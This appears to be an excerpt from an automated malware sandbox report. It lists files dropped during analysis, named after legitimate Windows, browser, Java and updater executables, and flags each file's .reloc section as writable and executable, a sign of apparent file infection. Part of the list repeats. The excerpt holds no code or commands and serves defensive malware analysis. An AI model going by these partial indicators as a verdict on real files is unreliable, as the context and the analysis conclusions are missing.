Source: MavInject32.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: OfficeC2RClient.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3Help.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3_x64.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SciTE.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AdobeARMHelper.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jaureg.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jucheck.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jusched.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: officesvcmgr.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: chrome_pwa_launcher.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: chrmstp.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: setup.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: notification_helper.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: chrome_proxy.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: crashreporter.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: default-browser-agent.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: firefox.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: armsvc.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleCrashHandler.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleCrashHandler64.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdate.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateBroker.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateComRegisterShell64.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateCore.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateOnDemand.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jabswitch.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVClient.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: DiagnosticsHub.StandardCollector.Service.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java-rmi.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javacpl.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jjs.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jp2launcher.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: keytool.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: kinit.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: klist.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msdtc.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msiexec.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: PerceptionSimulationService.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: perfhost.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Locator.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MsSense.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SensorDataService.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: snmptrap.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ktab.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: orbd.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pack200.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: policytool.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmid.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmiregistry.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: servertool.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssvagent.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: tnameserv.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: unpack200.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Spectrum.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssh-agent.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: TieringEngineService.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AgentService.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: vds.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: VSSVC.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wbengine.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: WmiApSrv.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wmpnetwk.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ie_to_edge_stub.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: cookie_exporter.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: identity_helper.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: setup.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedgewebview2.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: MavInject32.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: OfficeC2RClient.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3Help.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3_x64.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SciTE.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AdobeARMHelper.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jaureg.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jucheck.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jusched.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: officesvcmgr.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: chrome_pwa_launcher.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: chrmstp.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: setup.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: notification_helper.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: chrome_proxy.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: crashreporter.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: default-browser-agent.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: firefox.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: armsvc.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleCrashHandler.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleCrashHandler64.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdate.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
